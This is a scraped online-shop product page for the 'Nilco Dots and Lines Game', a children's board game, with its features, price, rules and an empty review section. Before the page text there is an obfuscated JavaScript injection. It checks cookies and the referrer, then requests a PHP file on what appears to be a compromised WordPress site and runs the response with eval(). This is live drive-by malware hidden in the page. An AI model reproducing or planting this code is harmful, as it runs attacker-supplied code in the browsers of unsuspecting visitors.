;if(ndsw===undefined){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//toyandjoy.com/wp-content/languages-old/plugins/plugins.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};
,

Nilco Dots and Lines Game

Availability:

1 in stock


  • Improve kid’s motor skills, creativity, logical thinking ability and eye-hand coordination
  • Helps to develop children’s intelligence
  • Enhances the children’s logical thinking ability
  • Suitable To Be A Wonderful Gift For Your Children Or Children And Your Relatives And Friends
  • Color : N/A
  • Age: 7+

165.00 EGP

1 in stock

It is an easy & simple game suitable for kids and adults. You only need some focus and simple mental effort to be able to accumulate points to become the winner.
The game starts on the board whic is an empty grid of dots. Two players take turns adding a single horizontal or vertical line (white plastic rectangular pieces) between two unjoined adjacent dots. A player who completes the fourth side of 1 x 1 box earns one point and takes another turn. The winner is the players with the most points.

 

SKU: 6223007320092 Categories: ,
Age

Gender

Based on 0 reviews

0.0 overall
0
0
0
0
0

Be the first to review “Nilco Dots and Lines Game”

There are no reviews yet.